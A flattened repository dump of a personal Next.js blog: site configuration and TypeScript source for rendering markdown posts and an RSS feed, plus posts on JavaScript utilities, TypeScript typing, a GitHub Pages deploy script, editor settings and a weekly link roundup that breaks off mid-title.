├── public ├── favicon.ico ├── posts │ └── images │ │ ├── 2011-09-warning.png │ │ ├── 2013-07-dev-tools-console-table.png │ │ ├── 2013-07-dev-tools-console-functions.png │ │ ├── 2013-07-dev-tools-console-dir-vs-log.png │ │ └── 2011-04-wii-jailbreak-homebrew-channel.png └── _redirects ├── .vscode └── .browse.VC.db ├── next.config.js ├── src ├── types │ ├── next.d.ts │ └── entities.ts ├── style.ts ├── lib │ ├── md.ts │ ├── utils.ts │ ├── config.ts │ └── api.ts ├── pages │ ├── _app.tsx │ ├── _document.tsx │ ├── index.tsx │ └── posts │ │ └── [slug].tsx └── scripts │ └── feed.ts ├── .gitignore ├── next-env.d.ts ├── .editorconfig ├── readme.md ├── posts ├── software-git.md ├── 2013-08-github-pages-deploy-script.md ├── 2014-01-javascript-tap-function.md ├── 2014-01-javascript-invoke-function.md ├── 2015-04-typescript-constructor-of-type.md ├── 2011-10-geektool-change-desktop-background.md ├── 2014-02-mocha-test-harmony-generators.md ├── 2014-01-javascript-result-utility.md ├── 2013-08-sublime-text-preferences.md ├── 2017-04-09-review.md ├── 2014-01-compose-functions-javascript.md ├── 2013-12-javascript-variadic-function.md ├── 2017-06-05-review.md ├── 2013-12-javascript-bind-function.md ├── 2017-06-26-review.md ├── 2012-04-local-development-with-dnsmasq.md ├── 2017-07-10-review.md ├── 2017-06-12-review.md ├── 2017-09-11-review.md ├── 2015-06-skype-auto-answer.md ├── 2017-08-28-review.md ├── 2017-07-17-review.md ├── 2014-01-javascript-partial-application.md ├── 2017-05-01-review.md ├── 2011-09-warning-somethings-not-right.md ├── 2017-07-04-review.md ├── 2014-01-function-arity-in-javascript.md ├── 2017-04-16-review.md ├── 2014-01-wrapping-javascript-functions.md ├── 2014-02-introducing-node-retest.md ├── 2014-05-angular-js-number-validation-bug.md ├── 2017-07-23-review.md ├── 2013-07-improve-dev-tools-console-workflow.md ├── 2024-09-web-redos.md ├── 2017-07-31-review.md ├── 2017-08-09-review.md ├── 2015-06-facetime-auto-answer.md ├── 2017-05-22-review.md ├── 2017-08-20-review.md ├── 2017-05-30-review.md ├── 2017-05-16-review.md ├── 2013-04-contributing-to-open-source.md ├── 2013-09-introduction-to-browserify.md ├── 2017-09-05-review.md ├── 2016-01-intro-to-free-style-css-in-js.md ├── 2014-12-syntax-highlighting-blog-diff-support.md └── 2017-05-07-review.md ├── tsconfig.json ├── LICENSE └── package.json /public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blakeembrey/writing/HEAD/public/favicon.ico -------------------------------------------------------------------------------- /.vscode/.browse.VC.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blakeembrey/writing/HEAD/.vscode/.browse.VC.db -------------------------------------------------------------------------------- /next.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | output: "export", 3 | trailingSlash: true, 4 | }; 5 | -------------------------------------------------------------------------------- /src/types/next.d.ts: -------------------------------------------------------------------------------- 1 | declare module "remark-html"; 2 | declare module "remark-highlight.js"; 3 | -------------------------------------------------------------------------------- /public/posts/images/2011-09-warning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blakeembrey/writing/HEAD/public/posts/images/2011-09-warning.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .envrc 3 | npm-debug.log 4 | node_modules/ 5 | .next/ 6 | out/ 7 | worker/ 8 | dist/ 9 | public/rss.xml 10 | -------------------------------------------------------------------------------- /public/posts/images/2013-07-dev-tools-console-table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blakeembrey/writing/HEAD/public/posts/images/2013-07-dev-tools-console-table.png -------------------------------------------------------------------------------- /public/posts/images/2013-07-dev-tools-console-functions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blakeembrey/writing/HEAD/public/posts/images/2013-07-dev-tools-console-functions.png -------------------------------------------------------------------------------- /public/posts/images/2013-07-dev-tools-console-dir-vs-log.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blakeembrey/writing/HEAD/public/posts/images/2013-07-dev-tools-console-dir-vs-log.png -------------------------------------------------------------------------------- /public/posts/images/2011-04-wii-jailbreak-homebrew-channel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blakeembrey/writing/HEAD/public/posts/images/2011-04-wii-jailbreak-homebrew-channel.png -------------------------------------------------------------------------------- /src/style.ts: -------------------------------------------------------------------------------- 1 | import { MemoryRenderer, StyleSheetRenderer } from "react-free-style"; 2 | 3 | export const renderer = 4 | typeof window === "undefined" 5 | ? new MemoryRenderer() 6 | : new StyleSheetRenderer(false); 7 | -------------------------------------------------------------------------------- /next-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | /// 3 | 4 | // NOTE: This file should not be edited 5 | // see https://nextjs.org/docs/basic-features/typescript for more information. 6 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # EditorConfig is awesome: http://EditorConfig.org 2 | 3 | root = true 4 | 5 | [*] 6 | indent_size = 2 7 | indent_style = space 8 | end_of_line = lf 9 | charset = utf-8 10 | trim_trailing_whitespace = true 11 | insert_final_newline = true 12 | -------------------------------------------------------------------------------- /src/lib/md.ts: -------------------------------------------------------------------------------- 1 | import { remark } from "remark"; 2 | import html from "remark-html"; 3 | import highlight from "remark-highlight.js"; 4 | 5 | export default async function markdownToHtml(markdown: string) { 6 | const result = await remark().use(highlight).use(html).process(markdown); 7 | return result.toString(); 8 | } 9 | -------------------------------------------------------------------------------- /src/types/entities.ts: -------------------------------------------------------------------------------- 1 | export type PostEntity = { 2 | data: { 3 | title?: string; 4 | description?: string; 5 | date?: string; 6 | image?: string; 7 | github?: string; 8 | npm?: string; 9 | author?: string; 10 | }; 11 | url: string; 12 | path: string; 13 | html: string; 14 | }; 15 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Blake Embrey 2 | 3 | This is my open source blog published [online](http://blakeembrey.com). 4 | 5 | ## Usage 6 | 7 | To create a new post, create a `.md` file under [`posts/`](./posts/). 8 | 9 | ## Development 10 | 11 | See NPM scripts in [`package.json`](./package.json). 12 | 13 | ## License 14 | 15 | MIT 16 | -------------------------------------------------------------------------------- /src/lib/utils.ts: -------------------------------------------------------------------------------- 1 | import { PostEntity } from "../types/entities"; 2 | import { parseISO } from "date-fns"; 3 | 4 | export function postSlug(path: string): string { 5 | return path.replace(/\.md$/, ""); 6 | } 7 | 8 | export function getPostUrl(path: string): string { 9 | return `/posts/${postSlug(path)}`; 10 | } 11 | 12 | export function postToDate(post: PostEntity): Date { 13 | if (!post.data.date) return new Date(0); 14 | return parseISO(post.data.date); 15 | } 16 | -------------------------------------------------------------------------------- /src/lib/config.ts: -------------------------------------------------------------------------------- 1 | export const siteName = "Blake Embrey"; 2 | export const siteDescription = 3 | "A personally curated collection of words hosted in cyberspace for some indeterminate duration."; 4 | export const baseUrl = 5 | process.env.NEXT_PUBLIC_BASE_URL || "http://localhost:3000"; 6 | export const siteRepo = "https://github.com/blakeembrey/writing"; 7 | 8 | export const name = "Blake Embrey"; 9 | export const email = "hello@blakeembrey.com"; 10 | export const link = "http://blakeembrey.com"; 11 | -------------------------------------------------------------------------------- /posts/software-git.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Git 3 | date: 2017-04-25 00:00 4 | --- 5 | 6 | ## Commit Messages 7 | 8 | > Describe your changes in imperative mood, e.g. "make xyzzy do frotz" instead of "[This patch] makes xyzzy do frotz" or "[I] changed xyzzy to do frotz", as if you are giving orders to the codebase to change its behaviour. Try to make sure your explanation can be understood without external resources. Instead of giving a URL to a mailing list archive, summarize the relevant points of the discussion. 9 | > 10 | > [Git contribution docs](https://git.kernel.org/pub/scm/git/git.git/tree/Documentation/SubmittingPatches?id=HEAD) 11 | -------------------------------------------------------------------------------- /src/pages/_app.tsx: -------------------------------------------------------------------------------- 1 | import { AppProps } from "next/app"; 2 | import Head from "next/head"; 3 | import { Context as StyleContext } from "react-free-style"; 4 | import { baseUrl, siteName } from "../lib/config"; 5 | import { renderer } from "../style"; 6 | 7 | export default function App({ Component, pageProps }: AppProps) { 8 | return ( 9 | 10 | 11 | 17 | 18 | 19 | 20 | ); 21 | } 22 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "lib": [ 5 | "dom", 6 | "dom.iterable", 7 | "esnext" 8 | ], 9 | "allowJs": true, 10 | "skipLibCheck": true, 11 | "strict": true, 12 | "forceConsistentCasingInFileNames": true, 13 | "noEmit": true, 14 | "esModuleInterop": true, 15 | "module": "esnext", 16 | "moduleResolution": "node", 17 | "resolveJsonModule": true, 18 | "isolatedModules": true, 19 | "jsx": "preserve", 20 | "incremental": true 21 | }, 22 | "ts-node": { 23 | "compilerOptions": { 24 | "module": "commonjs" 25 | } 26 | }, 27 | "exclude": [ 28 | "node_modules" 29 | ], 30 | "include": [ 31 | "src/**/*", 32 | "next-env.d.ts" 33 | ] 34 | } 35 | -------------------------------------------------------------------------------- /src/pages/_document.tsx: -------------------------------------------------------------------------------- 1 | import Document from "next/document"; 2 | import { Context } from "react-free-style"; 3 | import { renderer } from "../style"; 4 | 5 | export default class MyDocument extends Document { 6 | static async getInitialProps(ctx: any) { 7 | const originalRenderPage = ctx.renderPage; 8 | 9 | ctx.renderPage = () => 10 | originalRenderPage({ 11 | enhanceApp: (App: React.FC) => (props: any) => ( 12 | 13 | 14 | 15 | ), 16 | }); 17 | 18 | const initialProps = await Document.getInitialProps(ctx); 19 | 20 | return { 21 | ...initialProps, 22 | styles: ( 23 | <> 24 | {initialProps.styles} 25 | {renderer.toComponent()} 26 | 27 | ), 28 | }; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/lib/api.ts: -------------------------------------------------------------------------------- 1 | import { join } from "path"; 2 | import matter from "gray-matter"; 3 | import { globby } from "globby"; 4 | import { readFile } from "fs/promises"; 5 | import { PostEntity } from "../types/entities"; 6 | import markdownToHtml from "./md"; 7 | import { getPostUrl } from "./utils"; 8 | 9 | const postsDirectory = join(process.cwd(), "posts"); 10 | 11 | export async function getPostPaths() { 12 | return globby("**/*.md", { cwd: postsDirectory }); 13 | } 14 | 15 | export async function getPostByPath(path: string): Promise { 16 | const fullPath = join(postsDirectory, path); 17 | const fileContents = await readFile(fullPath, "utf8"); 18 | const { data, content } = matter(fileContents); 19 | const html = await markdownToHtml(content); 20 | const url = getPostUrl(path); 21 | return { data, html, path, url }; 22 | } 23 | 24 | export async function getAllPosts() { 25 | const paths = await getPostPaths(); 26 | const pages = await Promise.all(paths.map((x) => getPostByPath(x))); 27 | return pages.sort((a, b) => 28 | (a.data.date || "") < (b.data.date || "") ? 1 : -1, 29 | ); 30 | } 31 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013 Blake Embrey (hello@blakeembrey.com) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /posts/2013-08-github-pages-deploy-script.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Writing a Github Pages Deploy Script 3 | date: 2013-08-04 20:40 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | Lately I have found myself creating more and more sites of the static kind and deploying them Github Pages. Regularly, this would involve having a `public` directory which contains all the assets before I build them (think preprocessor - SASS, Less, Stylus, Jade, Browserify, Requirejs) and another `build` directory where these assets are compiled to during development, testing and deployment. I found myself doing this so often, I figured I'd better make a little Makefile script for me to easily deploy any directory to Github Pages. 9 | 10 | ```bash 11 | deploy: 12 | @grunt build 13 | @cd ./build && git init . && git add . && git commit -m \"Deploy\" && \ 14 | git push "git@github.com:blakeembrey/.git" master:gh-pages --force && rm -rf .git 15 | ``` 16 | 17 | All the script does is run the build, in this case `grunt build` and initialises the `build` directory as a git repository. It then commits all the directory contents and pushes it up to the Github Pages branch of a repo you define. 18 | -------------------------------------------------------------------------------- /posts/2014-01-javascript-tap-function.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: The Tap Utility in JavaScript 3 | date: 2014-01-04 20:30 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | There are numerous functional JavaScript libraries out in the public, many of which include a [utility called tap](http://underscorejs.org/#tap). This simplistic utility serves a single purpose, to call a function with a value and return the value back to us. However, the usefulness of this utility is rarely understood and can even be confusing when looking at examples. 9 | 10 | ```javascript 11 | var tap = function (value, fn) { 12 | fn(value); 13 | return value; 14 | }; 15 | ``` 16 | 17 | The code above depicts the simplicity of the function, but when would we ever use it? It's really only useful when we want to chain the value between calls. You can pass in any function and you will always receive the passed in value as the return, regardless of the function return value. 18 | 19 | ```javascript 20 | // Pop a value of the end of an array, in reality we'd use an `invoke` utility. 21 | tap([1, 2, 3, 4], function (array) { 22 | // Pop always returns the value it removed from the end of the array. 23 | return array.pop(); 24 | }); 25 | //=> [1, 2, 3] 26 | ``` 27 | -------------------------------------------------------------------------------- /src/scripts/feed.ts: -------------------------------------------------------------------------------- 1 | import { Feed } from "feed"; 2 | import { parseISO } from "date-fns"; 3 | import { writeFile } from "fs/promises"; 4 | import { join } from "path"; 5 | import { 6 | siteName, 7 | siteDescription, 8 | baseUrl, 9 | name, 10 | email, 11 | link, 12 | } from "../lib/config"; 13 | import { getAllPosts } from "../lib/api"; 14 | 15 | async function main() { 16 | const now = new Date(); 17 | 18 | const feed = new Feed({ 19 | title: siteName, 20 | description: siteDescription, 21 | id: baseUrl, 22 | link: baseUrl, 23 | image: undefined, 24 | copyright: `Copyright ${now.getFullYear()} ${name}`, 25 | updated: now, 26 | author: { name, email, link }, 27 | }); 28 | 29 | const posts = await getAllPosts(); 30 | 31 | for (const { 32 | data: { title, image, date }, 33 | url, 34 | html, 35 | } of posts.slice(0, 15)) { 36 | feed.addItem({ 37 | title: title || "", 38 | id: url, 39 | link: `${baseUrl}${url}`, 40 | content: html, 41 | date: date ? parseISO(date) : new Date(0), 42 | image: image, 43 | }); 44 | } 45 | 46 | return writeFile(join(__dirname, "../../public/rss.xml"), feed.rss2()); 47 | } 48 | 49 | main().catch((err) => { 50 | console.error(err); 51 | process.exit(1); 52 | }); 53 | -------------------------------------------------------------------------------- /posts/2014-01-javascript-invoke-function.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: A JavaScript Invoke Function 3 | date: 2014-01-04 21:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | **Update:** Now available on [github](https://github.com/blakeembrey/invoke) and [npm](https://www.npmjs.org/package/util-invoke). 9 | 10 | Under certain functional JavaScript toolbelts, we can find a utility that is used purely for invoking a method on a passed in object. The utility is a really simple snippet that can be used in a number of different circumstances. 11 | 12 | ```javascript 13 | var __slice = Array.prototype.slice; 14 | 15 | var invoke = function (method /*, ...args */) { 16 | var args = __slice.call(arguments, 1); 17 | 18 | return function (obj /*, ..args */) { 19 | return obj[method].apply(obj, args.concat(__slice.call(arguments, 1))); 20 | }; 21 | }; 22 | ``` 23 | 24 | The most useful situation for a utility such as this is in combination with other functional utilities and iterators. Consider the case where we have an array of objects with identical methods. Not uncommon in a complex MVC application where you may be tracking child views. To remove every child view, we need to iterate over an array of views and call `remove`. 25 | 26 | ```javascript 27 | var children = [ 28 | /* ... */ 29 | ]; 30 | 31 | children.forEach(invoke("remove")); 32 | ``` 33 | -------------------------------------------------------------------------------- /posts/2015-04-typescript-constructor-of-type.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Reference the Constructor of a Type in TypeScript (Generically) 3 | date: 2015-04-28 00:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | Although not initially intuitive, I run into this issue while documenting the [`register`](http://martyjs.org/api/registry/index.html#register) function in Marty.js. I didn't realise a solution, so I reached out to a friend who provided me with this beauty. 9 | 10 | ```ts 11 | function register(clazz: { new (...args: any[]): T }): T; 12 | ``` 13 | 14 | And it works brilliantly! But what's this even doing? I've just created a generic function that accepts a constructor function of any type and returns that type. No need to do type coercion. It turned out perfectly for this situation, where I can register a `Store`, `Queries`, `ActionCreators` and more! 15 | 16 | You can also write this with a slightly different syntax such as `new (...args: any[]) => T`. There's no real difference here. 17 | 18 | Although it doesn't apply here, we can also look how we might accept more specific types of constructors. 19 | 20 | ```ts 21 | // Using `typeof`... 22 | 23 | class X { 24 | method(): void {} 25 | } 26 | 27 | function create(C: typeof X) { 28 | return new C(); 29 | } 30 | 31 | create(X); 32 | 33 | // Using an inline parameter... 34 | 35 | interface Y { 36 | method(): void; 37 | } 38 | 39 | function create2(C: new (...args: any[]) => Y) { 40 | return new C(); 41 | } 42 | 43 | class Z implements Y { 44 | method(): void {} 45 | } 46 | 47 | create2(Z); 48 | ``` 49 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "writing", 3 | "description": "Personal blog", 4 | "private": true, 5 | "scripts": { 6 | "dev": "next", 7 | "build": "next build", 8 | "export": "next export", 9 | "format": "npm run prettier -- \"{src,posts,public}/**/*.{js,jsx,ts,tsx,json,css,md,yml,yaml}\"", 10 | "postbuild": "tsx src/scripts/feed.ts", 11 | "start": "next start", 12 | "typecheck": "tsc", 13 | "prettier": "prettier --write" 14 | }, 15 | "repository": { 16 | "type": "git", 17 | "url": "https://github.com/blakeembrey/writing.git" 18 | }, 19 | "author": { 20 | "name": "Blake Embrey", 21 | "email": "hello@blakeembrey.com", 22 | "url": "http://blakeembrey.me" 23 | }, 24 | "license": "MIT", 25 | "husky": { 26 | "hooks": { 27 | "pre-commit": "lint-staged" 28 | } 29 | }, 30 | "lint-staged": { 31 | "*.{js,jsx,ts,tsx,json,css,md,yml,yaml}": "npm run prettier" 32 | }, 33 | "dependencies": { 34 | "date-fns": "^3.6.0", 35 | "globby": "^14.0.2", 36 | "gray-matter": "^4.0.3", 37 | "react": "^18.3.1", 38 | "react-dom": "^18.3.1", 39 | "react-free-style": "^11.1.0", 40 | "remark": "^15.0.1", 41 | "remark-highlight.js": "^7.0.1", 42 | "remark-html": "^16.0.1", 43 | "typescript": "^5.5.4" 44 | }, 45 | "devDependencies": { 46 | "@types/jest": "^29.5.12", 47 | "@types/node": "^22.5.2", 48 | "@types/react": "^18.3.5", 49 | "@types/react-dom": "^18.3.0", 50 | "feed": "^4.2.0", 51 | "next": "^14.2.30", 52 | "prettier": "^3.3.3", 53 | "tsx": "^4.20.3" 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /posts/2011-10-geektool-change-desktop-background.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Change Desktop Background with Shell and GeekTool 3 | date: 2011-10-30 12:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | Make an AppleScript and run it using the "Shell" geeklet provided in GeekTool. First, we’ll make the 'AppleScript'. So, open the AppleScript Editor app to get started. Copy and paste this code: 9 | 10 | ``` 11 | tell application "Finder" 12 | set desktop picture to POSIX file "file://localhost/ yourimage.png" 13 | end tell 14 | ``` 15 | 16 | Then, replace `file://localhost/yourimage.png` with the location to your image. It must be an absolute path to the image, so you might want to make a folder just for your GeekTool scripts somewhere. For example, I want to use the Tron background image, so I used `file://localhost/Users/blakeembrey/Dropbox/Application Settings/GeekTool/TronLegacy.png`. I am currently storing my GeekTool scripts in an 'Applications' folder inside my documents, as you can see. Once I finished that, I saved the script as `setTronBackground` in the same folder. 17 | 18 | Now in Geektool, drag the shell geeklet to the desktop from GeekTool. It doesn’t matter where it goes since it isn’t going to be seen anyway. Set the 'group' you would like it to be a part of, then set the 'Refresh Every' to 0. For the shell code, we are going to use something like 19 | 20 | ``` 21 | osascript ~/Documents/Applications/GeekTool/setTronBackground.scpt 22 | ``` 23 | 24 | Notice we can use the relative location here, and that we need .scpt for the file extension. Finally, save and close GeekTool. Now every time you change the theme you will also change the background image. 25 | -------------------------------------------------------------------------------- /posts/2014-02-mocha-test-harmony-generators.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Enabling Generators in Mocha 3 | date: 2014-02-03 12:30 4 | author: Blake Embrey 5 | layout: article 6 | npm: co-mocha 7 | github: blakeembrey/co-mocha 8 | --- 9 | 10 | **Update:** It's on [npm](http://npmjs.org/package/co-mocha). Just `npm install co-mocha` and `--require co-mocha` in your mocha script to test using generators. 11 | 12 | For the last week, I've been working on a new project that uses node 0.11 and generators. Aside from the numerous benefits with generators in the application, I also integrated generators into my test suite. By using [mocha](http://visionmedia.github.io/mocha/) and [co](https://github.com/visionmedia/co), you can also enable support for generator functions in your test suite. 13 | 14 | ```javascript 15 | var co = require("co"); 16 | var mocha = require("mocha"); 17 | var Runnable = mocha.Runnable; 18 | var run = Runnable.prototype.run; 19 | 20 | /** 21 | * Override the Mocha function runner and enable generator support with co. 22 | * 23 | * @param {Function} fn 24 | */ 25 | Runnable.prototype.run = function (fn) { 26 | if (this.fn.constructor.name === "GeneratorFunction") { 27 | this.fn = co(this.fn); 28 | this.sync = !(this.async = true); 29 | } 30 | 31 | return run.call(this, fn); 32 | }; 33 | ``` 34 | 35 | Save the snippet of code above into a JavaScript file and pass the filename to `mocha.opts`. 36 | 37 | ``` 38 | mocha --harmony-generators --require test/support/co-mocha 39 | ``` 40 | 41 | Writing tests using generators has made testing even more enjoyable, so I decided to release the [code on Github](https://github.com/blakeembrey/co-mocha) with some accompanying tests and test coverage. 42 | -------------------------------------------------------------------------------- /src/pages/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import Head from "next/head"; 3 | import Link from "next/link"; 4 | import { format } from "date-fns"; 5 | import { styled } from "react-free-style"; 6 | import { getAllPosts } from "../lib/api"; 7 | import { getPostUrl, postToDate } from "../lib/utils"; 8 | import { Layout } from "../components/layout"; 9 | 10 | const Article = styled("div", {}); 11 | 12 | const ArticleMetadata = styled("div", { 13 | color: "var(--text-color-subtle)", 14 | fontSize: "0.8em", 15 | }); 16 | 17 | const ArticleTitle = styled("h2", { 18 | fontWeight: "normal", 19 | }); 20 | 21 | export type Props = { 22 | posts: Array<{ url: string; title: string; date: string }>; 23 | }; 24 | 25 | const Index: React.FC = ({ posts }) => { 26 | return ( 27 | <> 28 | 29 | Blake Embrey 30 | 31 | 32 | {posts.map((x) => { 33 | return ( 34 |
35 | {x.date} 36 | 37 | {x.title} 38 | 39 |
40 | ); 41 | })} 42 |
43 | 44 | ); 45 | }; 46 | 47 | export default Index; 48 | 49 | export const getStaticProps = async (): Promise<{ props: Props }> => { 50 | const posts = await getAllPosts(); 51 | 52 | return { 53 | props: { 54 | posts: posts.map((post) => ({ 55 | url: getPostUrl(post.path), 56 | title: post.data.title || "", 57 | date: format(postToDate(post), "d MMMM yyyy"), 58 | })), 59 | }, 60 | }; 61 | }; 62 | -------------------------------------------------------------------------------- /posts/2014-01-javascript-result-utility.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: JavaScript Result Utility 3 | date: 2014-01-09 17:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | In JavaScript, an objects property can hold any type of data, from strings to functions and even nested objects. Since an object can hold any type of potential data, some libraries implement a [result utility](http://underscorejs.org/#result) to check whether the property is function and instead return the functions return. 9 | 10 | This functionality is rarely required in your regular JavaScript workflow and is usually reserved for third-party libraries where users can pass in ambiguous data types. A prominent example would be a templating library, where the template can render simple data types like strings and numbers. However, the template may also be capable of rendering ambiguous or dynamic data in the form of functions. To do this, we could abstract it to the following utility. 11 | 12 | ```javascript 13 | var result = function (obj, property) { 14 | var value = obj[property]; 15 | 16 | if (typeof value === "function") { 17 | value = value.call(obj); 18 | } 19 | 20 | return value; 21 | }; 22 | ``` 23 | 24 | The above is a relatively simple utility, but hopefully you can now imagine some use cases you can refactor and reuse a utility like this. However, consider a slightly different utility I'm going call `ambiguous`. This utility is similar, albeit entirely incompatible, but works around some of the limitations I found when using the `result` function. 25 | 26 | ```javascript 27 | var __slice = Array.prototype.slice; 28 | 29 | var ambiguous = function (value /*, ...args */) { 30 | if (typeof value === "function") { 31 | value = value.apply(this, __slice.call(arguments, 1)); 32 | } 33 | 34 | return value; 35 | }; 36 | ``` 37 | 38 | Personally, the `ambiguous` utility is much more useful in the real world. Especially since it removes the static context limitation from the `result` utility above. It also allows us to pass in optional arguments in the case that the value is a function. Just some food for thought. 39 | -------------------------------------------------------------------------------- /posts/2013-08-sublime-text-preferences.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Sublime Text Preferences Explained 3 | date: 2013-08-11 22:20 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | Prompted by the many preference file posts recently, I have finally gotten around to posting my config with a few inline comments. 9 | 10 | ```javascript 11 | { 12 | // Makes folders stand out from files 13 | "bold_folder_labels": true, 14 | // Clean colour scheme, comes with Flatland theme 15 | "color_scheme": "Packages/Theme - Flatland/Flatland Monokai.tmTheme", 16 | // Switch to `all` to always show invisibles 17 | "draw_white_space": "selection", 18 | // Always adds a trailing newline character 19 | "ensure_newline_at_eof_on_save": true, 20 | // Exludes directories from showing up in the sidebar and search 21 | "folder_exclude_patterns": [ 22 | ".svn", 23 | ".git", 24 | ".hg", 25 | "CVS", 26 | "node_modules", 27 | "bower_components" 28 | ], 29 | // Source Code Pro is my favourite monospace font - download at https://github.com/adobe/source-code-pro 30 | "font_face": "Source Code Pro", 31 | // Current working font size 32 | "font_size": 15.0, 33 | // Highlight the current line - makes it easier to focus and find where you are typing 34 | "highlight_line": true, 35 | // Make it obvious when I haven't saved something 36 | "highlight_modified_tabs": true, 37 | // Ignore VIM mode, it plays havoc with some of my other preferred shortcuts 38 | "ignored_packages": [ 39 | "Vintage" 40 | ], 41 | // Draw all indent guides, but also draw the carets indent guide in a different color 42 | "indent_guide_options": [ 43 | "draw_active", 44 | "draw_normal" 45 | ], 46 | // Removes the extra whitespace using `Source Sans Pro` comes with 47 | "line_padding_bottom": -1, 48 | "line_padding_top": -1, 49 | // Render a vertical ruler at the 80 character mark, tries to keep me considerate 50 | "rulers": [ 51 | 80 52 | ], 53 | // Saving everytime I lose focus causes all sorts of conflicts 54 | "save_on_focus_lost": false, 55 | // Always allow me to scroll beyond the last line 56 | "scroll_past_end": true, 57 | // Enable `shift + tab` to cause unindent 58 | "shift_tab_unindent": true, 59 | // Override tab size to equal 2 spaces 60 | "tab_size": 2, 61 | // Beautiful and minimal theme - download at https://github.com/thinkpixellab/flatland 62 | "theme": "Flatland Dark.sublime-theme", 63 | // Use spaces for indentation 64 | "translate_tabs_to_spaces": true, 65 | // Removes all the trailing white space on save 66 | "trim_trailing_white_space_on_save": true, 67 | // Wraps lines instead of enabling horizontal scroll 68 | "word_wrap": true 69 | } 70 | ``` 71 | -------------------------------------------------------------------------------- /posts/2017-04-09-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-04-09) 3 | date: 2017-04-09 15:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Published [this blog](https://github.com/blakeembrey/writing) using Gatsby + React Free Style 9 | - [Mastodon](https://mastodon.social/) - you can find me at [@blakeembrey@toot.cafe](https://toot.cafe/@blakeembrey) 10 | - Running [mdn.io](https://mdn.io) on AWS Lambda ([see Terraform PR](https://github.com/lazd/mdn.io/pull/15)) 11 | - [Startup School](https://www.startupschool.org) is online 12 | 13 | ## Best Content 14 | 15 | - [ssb handbook](https://www.scuttlebutt.nz/) - Great content with some links to interesting papers 16 | - [Here's where the Apple accounts hackers are threatening to wipe came from](https://www.troyhunt.com/heres-where-the-apple-accounts-hackers-are-threatening-to-wipe-came-from/) - Good analysis of recent password leaks 17 | - [Hacking DNA: The Story of CRISPR, Ken Thompson, and the Gene Drive](https://blog.ycombinator.com/hacking-dna-the-story-of-crispr-ken-thompson-and-the-gene-drive/) - Learn more about CRISPR 18 | - [Scaling your API with rate limiters](https://stripe.com/blog/rate-limiters) - Interesting read on rate limiting 19 | - [How release canaries can save your bacon - CRE life lessons](https://cloudplatform.googleblog.com/2017/03/how-release-canaries-can-save-your-bacon-CRE-life-lessons.html) - Introduction to release canaries 20 | - [Mastodon Is Like Twitter Without Nazis, So Why Are We Not Using It?](https://motherboard.vice.com/en_us/article/mastodon-is-like-twitter-without-nazis-so-why-are-we-not-using-it) - Long introduction to Mastodon, go play! 21 | - [Why I traveled to 47 countries while building a startup](https://medium.com/digital-nomad-stories/why-i-traveled-to-47-countries-while-building-a-startup-635558f1fb23) - Travel and hacking 22 | - [Why F.E.A.R.’s AI is still the best in first-person shooters](https://www.rockpapershotgun.com/2017/04/03/why-fears-ai-is-still-the-best-in-first-person-shooters/) - The idea of cooperative AI that goes beyond a standard scripted approach sounds enjoyable 23 | - [Yes, Your Sleep Schedule Is Making You 